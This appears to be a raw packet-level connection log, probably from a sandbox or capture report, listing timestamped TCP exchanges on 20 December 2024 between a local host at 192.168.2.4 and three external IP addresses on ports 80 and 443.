Dec 20, 2024 07:12:11.717293978 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.717343092 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.717394114 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.718257904 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.718323946 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.718441010 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.718502045 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.719239950 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.719297886 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.719348907 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.719412088 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:11.720263004 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:11.720319033 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:13.919147015 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:13.919401884 CET	49771	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:14.038876057 CET	80	49771	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:14.038943052 CET	49771	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:14.039130926 CET	49771	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:14.039190054 CET	80	49756	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:14.039253950 CET	49756	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:14.158519030 CET	80	49771	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:15.283354998 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:15.283385992 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:15.283474922 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:15.286506891 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:15.286521912 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:15.390146971 CET	80	49771	185.215.113.43	192.168.2.4
Dec 20, 2024 07:12:15.390229940 CET	49771	80	192.168.2.4	185.215.113.43
Dec 20, 2024 07:12:15.392224073 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:15.392585993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:15.512005091 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:15.512057066 CET	80	49759	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:15.512075901 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:15.512121916 CET	49759	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:15.512264967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:15.631649971 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.508513927 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:16.508655071 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:16.511117935 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:16.511147022 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:16.511684895 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:16.556580067 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:16.564022064 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:16.564062119 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:16.564158916 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:16.836447954 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836483955 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836497068 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836560965 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836575031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836589098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836699009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836713076 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836726904 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836741924 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.836888075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.836888075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.836888075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.836888075 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.956468105 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.956520081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.956571102 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.956624985 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.961575031 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.961595058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:16.961623907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:16.961648941 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.031650066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.031697989 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.031913042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.031961918 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.035927057 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.035964012 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.036071062 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.036108971 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.041100979 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.041145086 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.044053078 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.044101000 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.044198036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.044235945 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.055708885 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.055757046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.055984020 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.056025028 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.061661959 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.061678886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.061713934 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.061743021 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.069816113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.069885015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.069940090 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.069983959 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.078089952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.078140974 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.078218937 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.078262091 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.086601973 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.086618900 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.086658001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.086675882 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.095247030 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.095263004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.095324993 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.095354080 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.103327990 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.103425980 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.103468895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.103513956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.110912085 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.110963106 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.111146927 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.111192942 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.119383097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.119432926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.220561981 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.220578909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.220726967 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.222747087 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.222795963 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.222810984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.222839117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.227284908 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.227341890 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.227381945 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.227427959 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.231822968 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.231878042 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.231920004 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.231971025 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.236403942 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.236459970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.236502886 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.236553907 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.241028070 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.241075039 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.241142988 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.241183043 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.245537996 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.245593071 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.245680094 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.245728970 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.250066042 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.250116110 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.250200033 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.250247955 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.254623890 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.254673958 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.254719019 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.254767895 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.259176970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.259226084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.259268999 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.259320974 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.263760090 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.263814926 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.263964891 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.264015913 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.268301010 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.268352032 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.268352985 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.268430948 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.272855043 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.272939920 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:17.272962093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.273040056 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.273179054 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:17.273245096 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:17.275638103 CET	49775	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:17.275656939 CET	443	49775	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:17.277456045 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.277518034 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.277570009 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.277615070 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.281975985 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.282047033 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.282088041 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.282135963 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.284660101 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:17.284684896 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:17.284779072 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:17.285136938 CET	49780	443	192.168.2.4	172.67.209.202
Dec 20, 2024 07:12:17.285151005 CET	443	49780	172.67.209.202	192.168.2.4
Dec 20, 2024 07:12:17.286530018 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.286586046 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.286632061 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.286683083 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.291089058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.291140079 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.291183949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.291235924 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.295654058 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.295716047 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.295753956 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.295802116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.300198078 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.300247908 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.300342083 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.300393105 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.304795980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.304847956 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.304917097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.304970026 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.309318066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.309377909 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.309421062 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.309683084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.313874006 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.313930988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.313949108 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.313997984 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.340209961 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.340264082 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.340301991 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.340348005 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.342492104 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.342542887 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.342751980 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.342801094 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.412287951 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.412328005 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.412419081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.413367987 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.413528919 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.413553953 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.416879892 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.416997910 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.417045116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.417087078 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.420414925 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.420536995 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.420595884 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.423974991 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.424079895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.424132109 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.427391052 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.427472115 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.427522898 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.430718899 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.430825949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.430875063 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.434067011 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.434175014 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.434226036 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.437303066 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.437350988 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.437422037 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.437515020 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.440466881 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.440515995 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.440560102 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.440608978 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.443628073 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.443686962 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.443737030 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.446675062 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.446799994 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.446851015 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.449781895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.449935913 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.449991941 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.452879906 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.452956915 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.453006029 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.455926895 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.456041098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.456089973 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.459052086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.459176064 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.459223986 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.462105989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.462188959 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.462238073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.465265989 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.465336084 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.465392113 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.465435982 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.468313932 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.468374014 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.468475103 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.468728065 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.470237970 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.470290899 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.470328093 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.470381975 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.472088099 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.472145081 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.472369909 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.472424030 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.473944902 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.473997116 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.474054098 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.474106073 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.475806952 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.475908995 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.475955009 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.477669001 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.477907896 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.477958918 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.479516029 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.479603052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.479610920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.479652882 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.481378078 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.481436968 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.481483936 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.481539965 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.483225107 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.483278990 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.483323097 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.483431101 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.485093117 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.485152960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.485158920 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.485204935 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.486931086 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.486985922 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.487035036 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.487090111 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.488796949 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.488850117 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.488948107 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.488993883 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.490652084 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.490700960 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.490746975 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.490792990 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.492527962 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.492577076 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.492662907 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.492870092 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.604623079 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.604671001 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.604713917 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.604763031 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.605534077 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.605586052 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.605670929 CET	80	49777	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:17.605712891 CET	49777	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:17.607364893 CET	80	49777	31.41.244.11	192.168.2.4
